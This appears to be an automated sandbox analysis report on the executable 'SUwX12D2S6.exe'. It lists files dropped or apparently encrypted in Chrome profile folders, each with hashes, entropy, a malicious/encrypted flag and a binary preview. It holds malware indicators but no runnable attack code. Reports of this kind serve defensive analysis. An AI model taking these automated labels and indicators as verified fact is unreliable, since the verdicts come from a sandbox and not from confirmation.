Preview:	..J.GX....%]..F.s-.l....:?...;..E..P..](..7n..#dZ......X!+c.L..S..U...5 ."..:..o.Y5..v].Y........K:..\|.VT{......."..w...9h.q.n`.c0...s..)....5......C.....*......S.Y.$...............%.H\|....Q..'.....^.(...>.7.....[.c..p6........h...n-w=H...I@Q...k.......a7.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	155189
Entropy (8bit):	7.998793668221841
Encrypted:	true
SSDEEP:	3072:vk/NqXcylBKOHaQY7dSdDWnVGsgxCAYJ6v9Y4A0yLzRIwVBJRl/pwIxbh:vKNqj0aI7uSVG2L6v9nMzRBJH/Fbh
MD5:	621B894CA35106987170A386B182EF50
SHA1:	E640BE9C08FFC2BD0D26EE7B12C17FE4892426B5
SHA-256:	D7773664BE72E06EC23F8B336A7FDEAC54F1C9A433EBF9F55D6180FDC8E4FD77
SHA-512:	476215A2CA6DBE8FB7E0DBBC97A65338AC0011D16DFE3A089569C311BB82B1D9C41905A6BDD3F32D8F63E822759691FFF4BB2F13E4A211D38DE72123D87E3732
Malicious:	true
Preview:	..........W..>.t.....N..=o.Z.m%^\.RP.ddPC.........7.%BS^.2.V.kF.XZ.N.Vx..-!..a9.1?..y.<#...LWV..bKK.....Sh_.ob..i.<oU.dFG....r8..AE.!....\i'.i.@..<..... !..>.'....j...7..>\|...0fi..T.R...Mn...x}..:.}=../...N..1...c4.VD.sx.\|...........-......^..4.. ..2...WC..K...o..\|R.'...[xV..7_....M.V...H.K.../a.....Z.1...H^.j..5Q.,Y.f..a9..C.O.V.....9........:.J.~G...&..+An1..[..wu~...8xR]T:..#LY IE2...{m;.......Z..'qG.E..d.(.....j..&]...){...m.29.s.8..s...1%..ka;pS.&..g...-./9.u..kn.\|.S!!$.Cz...K.....Jyv.W.&..6IB pz...D.N[r0...H}....N.........)W..K.`;.gt$b...4 .`...L..F-.!..1u.;.FE....>..d.1.;.Odk...V...u.C.Q/eG.V.1...B..//?..8/i5.)+....#i.<....{I.?e.q.{T.S.S.s..a.R..C\|..g.C..X/`.D.N.(.v9<A./@_..8.OF.....m&..SX...a.^.m.....2.H..2?...1...X..D..r..$.Pe....kv..K........Qw.G'rl.[~.6..C.^:.#.j.1...)..>..v].D..\.Jue}...E.......g....[...PF[Y.YS..r..Fo...p....q*..h.k....&....;....:.2._t3q.....C..h....Dx.5.....C..].......B........]_X..H.....g......=...p.@

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag\Slides.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.313595390620595
Encrypted:	false
SSDEEP:	6:qEmhFwAvBi59tvL+ey6D2G2P5rmWp9HPSpG+1FuD0bE9zjhPcii96Z:CGTtXy6D2G2BrmWvHPw5tbEljVcii9a
MD5:	CFDF347F42CC7FF976EEFBA982C73979
SHA1:	776F012E28611F0DEBA2D046AD663AAA8A034E9C
SHA-256:	29F823BC9091BBD6C86BC5A3853EB25BDFE72DC5DFE8917530CF79418F0934A5
SHA-512:	78A032DCF5D992A0D8858D4E5909315BB716E8BC95110CC993E53C0F5BD0D5BA1BD41C2577D2E2FA2D86E5E1C17D584F2345114A251C78F6FC2EBAD835493F2A
Malicious:	false
Preview:	e._.uOx....g...$.`:E\...d*.W.\a..X.i#........'6HP..C.a.TA..y".e..3.....Z#..\....+.......h..s.a........Xu...!P.7..w.......q...4.]..^V...wZ..@.E..Cs..ca.]......RZYl.=.4.....I\|I.H...Y..........0U....C.._.<o.Rg....aD,.Q..{...........5{..6...............hLitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	155717
Entropy (8bit):	7.998640816505605
Encrypted:	true
SSDEEP:	3072:DMlZTy9ucfFHm+69XI9DwHFnVqSoXgvhrE0h4R0LdX1FUc6o:DMlGu4GdXIyH2SgsdaRgX1co
MD5:	6B2D9C324BDE11F57A6227D85C7A4F77
SHA1:	E606C7C533E3FE380D28230FB8C36C52023A6997
SHA-256:	EB5EB2E1FBB8C503BE9783510FAD899A207176F2ADE6B3F50F7A89DD42078E4A
SHA-512:	6D2AE7BDD0AFCAEEFBBF21B990A2BF2F6067FDD0E7E1C218598DCBF21E24F78810A100B4DE2135C73B1CE0BB4246DC136BE9BCA082B926821B331A0A718056CE
Malicious:	true
Preview:	......\|W..~.....3I..7.2\r...i...5.fD.R.{...8.....R..BD...~..r....e..Kl..!xlli...}.Ty.e..N.3Zan...K.!......^.....F.T...O...E.....CeZ.q....!B.$2.Q.<.22.....&..[+.=.....d.. ..`n.S...\|w.b..k]....:...iRR.y.(-<...i..T..26...h-......a..`..05..t..i....H.%...i...8..c......-dG...+.3"..Z.F...v....)....NG...q...\..9......@....lD......O6.U..y.m.%f..8#%Z..$.z......];....Z7...d.3..w...[...0.^...&..aQ3(...o......1%R..........1=.l.&...a.qjw.X.h.7uM..._..O.af-Y.6b..f..A..R@]-....-...%\|..M..g..ZP...Py..2.[..P?h..-Q._...E.)#Su...h.D...&....A.)b.3......Q....Xc#..S....@\U2.Rmz.,.h.n#.......3XcW...bU.h2O.XH..BnK.j.Pg...g...v8..0..#..c...8...".U(H.V...a.\|.dY.n.@KU+3Qm_.x\..x......+A...wM..X..l.d.\|25..........z=x.....9.Z..U.../D..O.z....B....5....`"]....J..G...h...I..M.0..T..?......".......yb..p..vz..."....U7.^.....<_...@...VP.......=....M.t ...........h.C2./..E...6..6.p..0./.....7.!ig.&..C..$..8..J...A..;.m.....2<x.y..W..5....-.0.G3.p.y.Q .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb\Docs.ico.md5

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.269529167756135
Encrypted:	false
SSDEEP:	6:bxdhkFTF0BTcRXdUImpPvmQxC89LOhODoclewOPLceQUCQazjhPcii96Z:bbhQToQRXej9qheeBP4P1xjVcii9a
MD5:	72174353E485A9255D5CE48DD538BB61
SHA1:	4D0AAC258B880D17C6AA793274BD820EDB5C303A
SHA-256:	E30933F7F9C5CDB118B360F1DB51D19D6636FF47D4F250A7C0C52C94D2D1F308
SHA-512:	AE895DE41ED3AE6E87359B5D9AA035828781685660C18B8FCEC22B5B51022EAF1AF408020EC5D686E6D4F4564EFB5364F9E364348F05B0BFCDCBB20B648F43F4
Malicious:	false
Preview:	.U6.,....R...j....y.m.W...F.l..>."o.1O.c...F.r...3XJ<.}.d..o._..?.E@O$'....teQ.?+..t..6..K}..&.E.*.'...G.X....TeF..-JJJ].......(.L.j...#.6.."..x3...wb...u...Dk.V....>....v..6.A'.pe..&J...Q#g........<..9..n.{l...#.3......p.....a.-..5..l1...a%.'uQ6.n..E..q.....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.992468312208573
Encrypted:	true
SSDEEP:	768:dQPSH6ImjqVRrkVGvuHRlogIkRtNLaOzyw:dJcwbWHRGgBRLTyw
MD5:	2DBF16138A08C70E3AB35BD1F130A997
SHA1:	799D4495E9C86F38FE7F42911EA7683CCC1EBC36
SHA-256:	DF256DE34EC7B59732149361F2991A32D99EA66F5C2486BA66145A8856318DC1
SHA-512:	584E164F721A7481A0C231487F12C95B065717E83914984E95FE02457C6F97693F95ED11D8DC5AD6A12C573941754E70AA476FAEAA5665B18557470A324D69C0
Malicious:	true
Preview:	SQLit\|..;.W...>.....J..@..J.i.g..B...'....}z..A.b...s.0.~m..S(.w....Q.. .......D......z.p... u..S.).H.pT....!.hX\8C...L9...2..W...i1.39..~.~...UP?..v.m.:?..Mr.IC.o.o...!..f.... ...].(;...y..?........\|.W...j4>..K...M....N.s...K-.qg....3..).....P..%".@.p"T.;...%C.Bjq.f.S...<..... .).1..$!]...\..<@.rw]...B!A..jU..}7..t....>.....y.G5.}..!..k..K...t.pc6...B.2..`...F....-....)$.......5Yu..l.p..n.@./L.~...^./y..'i....+q0........+..j....u.;.j^.e.......6>L.3.s6.W.$.....D.W)LB....D..$......1..WwFv).......Ec.h..'6.LQ_....L....^p...p.W....m.};.....W'AL...k>..HUh`.p.P...Z..wA...e.U.....l..........mKx..b.i...S......>..A....i+....&....\..3hb...\|.8k.0.....l........A....U..8.+d..#..x..mW....v.j._...*7..D..$..<....N.+..1b\|x.t....6Q..r.D....w.s.-D...E..I..l..O'..\|......ny..ok..:.4....:.~Z.Ib.u.).4..`h..=......F...o...../lWz..:...pPG....,._.k.3....O-.w......k.....-..r^..>....E:.9.....k..4.u@.C..>.%("N,#....o^%.+....?)<E.-.d.Aoz.p......Jg.dd..#{D.e...X_..=...s

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a\VERSION.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	440
Entropy (8bit):	7.4816930250402125
Encrypted:	false
SSDEEP:	12:hMNG+534B+zteKpE6Uo1r+ZTmBl6MHSfwQejVcii9a:KG8342eKq6Hr+Za9HhVbD
MD5:	54DFB9AC3966E0800E30F93E43A6F363
SHA1:	E116C02D3675E6723309058B2DD534CB1505D5A5
SHA-256:	C8B732C502B59CD6751E6020AF35922B65081675DC9D07EE629070BED708565B
SHA-512:	46804B4AA45963CF0836FB01B076FAB323E1F173F6DEC0EF0080BEA01A78996CFB64CA52123BD5723F7982B769D898A93FCDD3D0C382FB5DB095DD2719C339C8
Malicious:	false
Preview:	This ...G.[.#.Z.+.[.<EF.....\......k.U.n^.n_..).n[em.t`"...c.;e.[.....a.:...O`l.R..{G^..,..../g..3y!.w..5>.....1t..'.....'.......J`[..F.]]I..\.i...H..>.[.#.3@e...h.}wy...f..0.2KloG.b>+..,.6v&y....=;.]:..]{.E...X.zL!..........k.....=\|c..RZ...7...e...n.BGe]...:.y....K".?...]U-B.M....[...W<.@....X\|_,...U!..o.....6...N`$.(@.g.g$S..%.[..!..q..A..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	500
Entropy (8bit):	7.553411511949477
Encrypted:	false
SSDEEP:	12:A68lOIiAepV5T55/88tHOE4pXrg2GDdbRnGxmmjVcii9a:8IIi7nN55/RuEAs2qbUxmkVbD
MD5:	5B5F08B02862C9D67B77E4E215129BEF
SHA1:	D458719A5C6E20E8036248A3AA79707488B8B7A2
SHA-256:	A6ED9DA7DAB5AADF94DA546984C03BE622F3A5CA716D2BBAA56F5EE255E227B3
SHA-512:	E94DE0083C17DA5005706701C77E88B8FFD7A065005301A5305BF37A39DB6F19C50BBAB271785F62D1F5863999537DCBBB2B255544146094CF3292188E33C4DE
Malicious:	false
Preview:	...."..EO.C.........wC&4F......_9...r.;J..fXpd0...;..s2p....UI...':.....`9.._....u.{.....,`....t..72aQ...s...k...#.29c...m....](...$.RZ].3.....I.r..6..CuN...P... 3.4.T..G..ov.\.y.....V)KF.Y.ni..+.....R..d..U_g:.....W.t..$...E..9....F\|..Y..A-.Xt..ty.9..C....;......0..@_.....l.gA..8:.]'..<.....y.G...4.f..6...P>c...].U.f.{..#.B..+VZ+5.p?..]...., .V.e:ea9.o.a.....i...g@.mipqh..^....op%..y;.......-.N.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2737798
Entropy (8bit):	6.051483130016693
Encrypted:	false
SSDEEP:	49152:FVk2rN0KjxWzNFgJ+UIcTMKz8nrSkT//ql0KXHEY3x+mcNxNzO3r12iq031bS:U2rN0KlWz4+UIcTMKz8nrSsqimb38mcj
MD5:	422E2A3760B48A9D0AE3676441607516
SHA1:	BC1101BAE1224EAEAA1D730FE773B1D7C08091F8
SHA-256:	951CE7C47DC541FF965F60181636BDBFF82A76DEB122796F8547F7AA4E561A9E
SHA-512:	7E4C13E41561FF79BEB9354D8766BB0E720E30E1E12679CD5E5D42ECCC8EE4B92F077671F304F17A09F6442DB5518DA22B445035600D49492A69B6E2E76F0A33
Malicious:	false
Preview:	...T9l<.O.r......A.j%.._/.1x0p.,3o.<......_..D..+I9_..=...wH.S....g...........w....V<;..t........ir<.Y...Z'..z..L#.....0...Y......M..A]u+.gn8aJT..B6.K..N...p....f......m..B(..u.m.P.....i.7..?k...K..#9.[.A...t.'Y.....\.../6..HV ..6K .%1.......wM.f..=../.+....X......(...4.<.r.g9...6.......].......;..9..yH..Dj.vwQ.SN..0.' .Mn.p:.D4:...Az..6.....]...BER..(...M....S....~);....eE..Y.)>......[_..c.1?.g\E.L.!.. +.l..z4n..........Z..k............o.........d.....7TI..\|.L.#].u.X.,...v[.P.H....09...>..8...Os y.......7.o..hm.wX.+..#9S...f...L...&..2O.J.....sV0`K.}.a.E")0....tc..JI..n...s....C..B........-.J....2.......n...)$.U..>{.h......u...X...L.8..baA......\.C....\|$..d...j..7...-.O.l3..0...I.v.p...&B......W...N_..=U.]..".....Gl..vRj...d..j......JZ..#...[w.+.5.ydVF.i...t4.2..tA...dw.n.......... 7.n<....5. .pF@`:FV.....9#....8.......r...`..I.. q..'.f.tDE.......6.y.z.V.....>..l..."U....^N....5....*G.3..G9.)......\|F...K......J9../...S.....<h....-.@.4.r..C

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a\override_list.pb.gz

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	gzip compressed data, original size modulo 2^32 2100643396
Category:	dropped
Size (bytes):	490419
Entropy (8bit):	7.998747408514308
Encrypted:	true
SSDEEP:	12288:Qm3j/8IE8FekVFqVmlyAhrB8YYpC/XYUn/6cH+wyzdK:QmThDFeUwVG1h2vpUnNH+woE
MD5:	0C8E9BCE8485FD140625F08417520F9F
SHA1:	6C8559F83F4368D10B64E58E96368D8624940596
SHA-256:	FAB4878E147FD851AA48AF73B78D50A9AB700451254C981263465F0D06833811
SHA-512:	C882CD5C92BFDDC0B6EFAE7EEB831BDA1C10818C15D36048D123E7C58338F29485C9ABB8BF22D459C8AFCB2CB81B76CDB3D987D2582AB83EB7345D1B04313EFE
Malicious:	true
Preview:	........E%.!.y..}...[...E....5......MO.................ZP....d......n....v\|h.....R9.....2..>..X..l..\|3...[(\|Z..@.C.&u..ym.-j.i....>..V]..@8.E...ge.%O...B_...en......f.0`1.A.WC.....ZM@..l....;......x.g...F............D7d.$.A}...V.(.7iHs.->V.&.P.V2-..f.\....5lO...v...7.;\|..]...f ...L;%c...n.C.`......J0.D......x..o..,,.X.[........;...S..[Z.w......NA..2..A.....9g9.....;.s..a.@\.3.d.J..za{1%Z.I..&c......Q.."..6~.\|...E...[.~.'p.Im..Y.....O.e..9"..O{.\\....u.R:......[....b5.P...B..H.^. k=.... ..L!I..4V..~.....%V..4Ejb.!.@.[.D.X..........D.n..89...Zy.."m.^......B.\|e.a.h.m../}/9.H..J.~.".....8.A.i9....$P3.[9Nf..5..FYq...~..r.?,]`4)..h.....tAbE}...........d..d>....g.H01".E..9.:.[.h..cP.r.....9..Xx^.\..Q..<".).sE;.6....j../..].} ..u.......##h...p.........B..V..?..N......W)D....X........2..-l7..Q!A....`.%h.~.Y.o.z.6].w.....=.-.,.....U.....)R.(a7...Y...........h..&n.2.Yc(<j.....}...B.i.9...+..u?!.cM9.{..!..6&..OyJ.P....L.Zm.c.&...V.7rP....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	472
Entropy (8bit):	7.531579883334031
Encrypted:	false
SSDEEP:	12:EBzwuQ2RI47hXy8w+JmJCCna13g3F75fbr8OIGq+LMejVcii9a:EvXyFPJCCnaBgV5fbrrl9NVbD
MD5:	5568FDA611D0E46B0FC7D76EBE6D480F
SHA1:	71810EF0FBD9345FC16CAA269B7B48E00A7CFB8A
SHA-256:	63D8B3F93655B9216BF021DB1BDDCCBE4CAD9F2A13805650FB347DBDFEB2CC5C
SHA-512:	976D0FCA4B0A4988A90E5A5B6D4C137109049A782E18D65C5C50392585B267112044D94D0E13BCE02E483FFAD93EB47FA743EC0BB416F5F5A9E4232E532CDCDD
Malicious:	false
Preview:	.....v.^+..Lp.....f...n......?.6...K..Y.r..;y!U.F`Us..G.X..b.....\|.o..T)\|]g.+...S0.......Ng.\|;.NP.0.Y.....]..,..#0.`#.m...._d{.a.%..~/r.,r..S.....S.3>.C..T...E........1.Gk..&?hlH.&...T...v.P......t....F...p.[.__..TU.....W.....G-...R"..F.P...#~~.Q....P..h..6.U....0..P.#...4 E...b.2.6.......kC....1.......x..S4(e.V.$...2o.X.. ...?....aa./.V....o_..........m..GYB.tn.i._..^yt?..,itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4602486
Entropy (8bit):	5.10777438374196
Encrypted:	false
SSDEEP:	98304:rKA4glzS8HFKv2qswLLHFXvu9zLjrCNC8nyn3WsmL1mm86r9gJ6cx0ui9l3jCbCx:rKylzSEFKzLHhKnrx9n3WsGriAcx0/nv
MD5:	0D351AC60E436C7F744F1C088DB28FBF
SHA1:	F561894652E93C2DCBB5D8132DC2BD5D803759C4
SHA-256:	2C8A51F75A6E41FB5C1E5052E0CF6A9C820FE02B33AB8D30551FBF46AB52C9D5
SHA-512:	DBAA322ED3E1E232B38231C9A174932777675938E3540BD344E90061656A3CE5F22A394EFD6B8563AA70C290B0CDA877E019453C6D270CD8DDB166F473B1AD20
Malicious:	false
Preview:	...TR$.K..z..%s..2...1.z.@_B..-..7......b.B.....6.o^..9. e6.[.2.r..&..iKPz.$KV.............I]...!......b.-3>B..8G.......T.RU........k}t...y0.....E.....-....l:M.w.....o\N.^.......5^x..CS."%../h.......Zo...P.b...E....d.%.M.5ic1?.\.,4.d.......<.....n...H...K_.r.l.....%..o...,&!w...C.vQ./1....2.!...A..l9..?.y.$.L.:...%%..N3.....Z.f......q$`..Q...%6.+.A..}+1..\|Z........3.d...[..r.A.B.Q..S-..Y.DV.6.%].K\|..}...3........l.p.-n...'..I......y+.....v\|C.^...+..ON.8w."f....o..qm..li.a...P.?..$.Q%`..R.8....U.yN...V.C.W......i....i.W..Y.....%.^....@...v].\|..H.l.>R......r.._..#fN`....Z..s..p#C.K...O..........#..XY.9=..%....3WS4.O...L...DY.Gt."..Z:.3....+...5....,.B...%E........,O.:.Y30...N.m.....g-2.F.A ...N....:w....S.Pi'.........9v>.1....A1.l8..-P.....\......Jv..s.T....?..a.y...=.U@..h..y/.fg^fC...O...Vm...k.....8..\|...g.W34..$.E...lP...*dB..)...~.#Gkv....S.np..&...4#...A..!...'{.. ...L.B.)d\...'.B=c... ...,..(<!=G..z.n..f.S^.Vi.......

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f\vocab_en.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1343
Entropy (8bit):	7.826755103714813
Encrypted:	false
SSDEEP:	24:qjvCcgNRGR0kNL3aOUshlGzDDElBY7roRWaBZ271nQ8REyAQXguLVbD:XnvG+kNL3FhaXElIroR/CBQM5fguLFD
MD5:	EEF0363397C3DB3C7D27B50F4294BF81
SHA1:	19167A29FCA5D90847928CA858BD15326DFB31D2
SHA-256:	97917EC06170C7DE801DA220EF5877A7F1340BE5CBFB19E251F2E51C25044A33
SHA-512:	6A490D7E03642D6D265AC2780B6EB52C84E8B62A3D57712403D8C3ACD716E7FF16EAEE2278B6057AAE2DC3A6B03EB67529F846F2DB8E0757F2408A1B4D61CA8C
Malicious:	false
Preview:	</Q>..W.fmih..@.`..=.#.4=.V.EWB.(!,..8.J.a\|2.Z..k...X..d..5..2.4.;,...h/.......\...V.d%...Cx...jre4j...J...d.U@. .M&..P..@........GG..iU...xc~..:.a.1..6..K.].. ...s.gKHX...{b...\|{.FQDV...c.........3.J.W......{...%S..'.z.9....z........+...4.E2......V_...K..R........ B`.....i..=.).fq.....F.@.....R.l.:N..Q\|Y.q."/C..8@jF..-...b..Cpo.{m...y,...'......m^O.....F......^.Sa.v...e.=.+.{.!..2...a..S.\|1....u...^..z.k.....+.>.8.y.....I`....p...N.cA:.o.....mU..1..6J....[=$.,'.s......Z.vEIj..Vg1dS.&...&..d+W....p..Z.....z"..v.PH..;\Vf}C.jw`.....Z-.[j:vT.~O.h.p........)[.k..C...w.S".iL.........d...i>.J.}.p...XV'...X.FT-.....7>\..6<j..X[^B..1s$..a..)/.,,..x.q..'k..5..+f...jF..M..%".....}!3S...w..].......e....q0...w...b`&..L.Zr....v..>.X6...sV2.3(...2..C.7...".[..o0......:.mG....N..r.y..y.#&i6.;.../Y.c..2....p. A..&a..P..d....X[.Z....$...@....O.rc-"?a..n.....f0x..~!j.qu.V.1...........n.Z.lX..WFmP.2.I.d......E...+M&......%[F.d..M.8_x...+\.j.O...?

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	347
Entropy (8bit):	7.301334874481012
Encrypted:	false
SSDEEP:	6:lPHwVcJa6Au5MXfcBcDj2V42PWnoy6tNjFdH77eJekcceoGzjhPcii96Z:ZHwROMPBDjy42Pel6tN7WJekIocjVciD
MD5:	A2A4DD09B2508D1C75C41F5B1D1F79D2
SHA1:	FFBBA8449CF849F2AE5913B1FBC63E8FCC98E746
SHA-256:	D77D37392580638BB719792811818781FEB5F512DB7DB0CF658BDFDFB37E63DD
SHA-512:	1AC66DF4A13E84A2250820F4F3AF4AD9596E1C014E548C64EA8B155C00F2F292F97E33198AF04FBF0FBD299B95CF8AF27FFDEA5380E735E35E5753E7D41D3171
Malicious:	false
Preview:	.......c.3\|8u..s.^3o.."...<...JE.!.BW.;.].$4..}.=.@.=>.Z...i..9:d.R.iI....D..A.7}....0... ;..."_..S>.?.Z....]l...,.}+.rPk0Ls...%.0y.e....V......k.j.:...q.q.A.j..b....U..C&.... k..+.t.......x+g.O.WeI0.W.'.\|e!...M.T.@(. ..8.. ..l.pA.l.u.!..z~.N.G.d.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	392382
Entropy (8bit):	7.29554081545618
Encrypted:	false
SSDEEP:	6144:bq5KMK7R9Q5HuHZPpbOvHn4maXpqQC7SaPGNFzq/RnfAmn+qGk07U0z9zMfp1BLY:W5K5nQ5HqZBbYntaXpqQMLuNy5Ymn+tr
MD5:	DDA94A95585776B1A42FA4CCADC8B99A
SHA1:	F4D11CB65E44E2C129D8A8854B2A732006E70C0A
SHA-256:	9C3A49B4CFA54D5217E047D240769E5CC1830A7DDEB5B60F963E1C83070DF55C
SHA-512:	6F97C2AF2A218A0DEC107DF8F1193B41257A7AC9643297CF4D8749554519BEDBFE6E699044A583C3004B5385B02B520E4622EEEEF0E5437C0FC75079690CB0DE
Malicious:	false
Preview:	....T.......;`...t..$.A.J...."....X.9r..aX3.my.....@.o..<e8.R.....b.h.f.Y V.........W..N+..@.E..O~P.l.W..P.WC...z;&ql.(k..o.V..:....Nu.o.....}..a.....E....2aji.o%.-....4.!.`....d_.G...R.....(..x..v.&...U..j.Ek.a..~.H.y....x^M.,x}..,.f..#....c%......dM.1X./..ah[C4....]y1._q...../g>0..s.`....^~?.n.N.-q..-..K......$..LF,."...uW..>V.X.b"g..H.{..w....0J.v.,H.U8.~.."&.R..C..2.....-..]..2...{_.Q^w`...].>>i?..%....../^W.L?...u ...x2..D..@......m.aE!....0...J..6..k.G.w(4;L?.n.`.....y0z..(\......=...B...A....Da..dq..q?.V...o5...i.A,' /`.Y..s..l.3pO18..H.L..d'..M.+JC.3FO....d.Na...q..m5V..s.b-...N.bo.g.......'..........4..k7.x.....]..v=.......9.i}:......\...."....9..i.%.....X..:.:...L!Q....6.+R .)H..kc.a.\bV .q.J.\...."a....i.&....F.:Z.=..5..).6.<O.b.M.C...B..Z.....R.v.Bn.DJ......=.......a..s.x$.?MC.W...WS.a..2.!6...\|.....O..b...N%..C0.iY=Pn....n..g.h!.,....)@.K.0C..9....C...M.a...(...D.t....(\..>.....%1..vw.J.z.^b..s.k.1..#....dn.Q.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2\model-info.pb

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	345
Entropy (8bit):	7.3331143096404805
Encrypted:	false
SSDEEP:	6:+VjsM7hM8cVVy0qlDi4f/tLjixz+j+fwD1RCTn4Qhre2FPJzjhPcii96Z:+CM9kVetLXjewZoTn4wrzzjVcii9a
MD5:	00351CFD31EC6C76DCC036A41421F44C
SHA1:	2472CB168574F3E61676BB9462D4E135C6476005
SHA-256:	F37664D0A06FEA0474F11404C6E81F53D6795441B65D0D1A88E06C74841715EA
SHA-512:	7914AC113C6631FFB3A31B1BC5ADE75956206502F825C543738B664EDB2B91C4EEC71206CE2D4821038009B27DF2FA14F761F6E6F896645CBC2CD2D95A2CF246
Malicious:	false
Preview:	......D'_.I..^QY...U.]..VT.pf...?...]&.Hy.........b.n._...jQ.G......A.\|...Kz..H.....0.>.......(.X...f.....a..:.y..6...fPGH....0Y.{s>v.:...p\|A\|.>h..'..`.4&...U.P....v.._.2<...;:.#\|.........+g.V.J.Cn...x.....O.[...1.h.\|......]....NJc.`.>S........;s.s....1.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2\model.tflite

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1219582
Entropy (8bit):	6.9953933292007315
Encrypted:	false
SSDEEP:	12288:Vjnjc/MC9P42fAvzXrP+34xHclC5UkZ75+Oca+nmmuc2FZTlDB0SdEb1Mo6zeM4S:By9w246oJclWZTlJBiBMo2exL2NmhHTK
MD5:	6F75F141B7E3C1578F3F57F6AD356C83
SHA1:	BA2FC4BD8B3D07401392D243FABB8BDE33E86D6F
SHA-256:	6C260BDEAD4F7C26DA3917ECB2EE9AD64CB579FE373864ABDE1B8767A33F8783
SHA-512:	06F0CD45DD4CE18C3D126E2128532E87EAD4D5DF176AA833B1E7FA3A928634A1E2D24D5E94688A706E1CBB76B6E6D59B93F01BE2E252C6B06D423F291EF46362
Malicious:	false
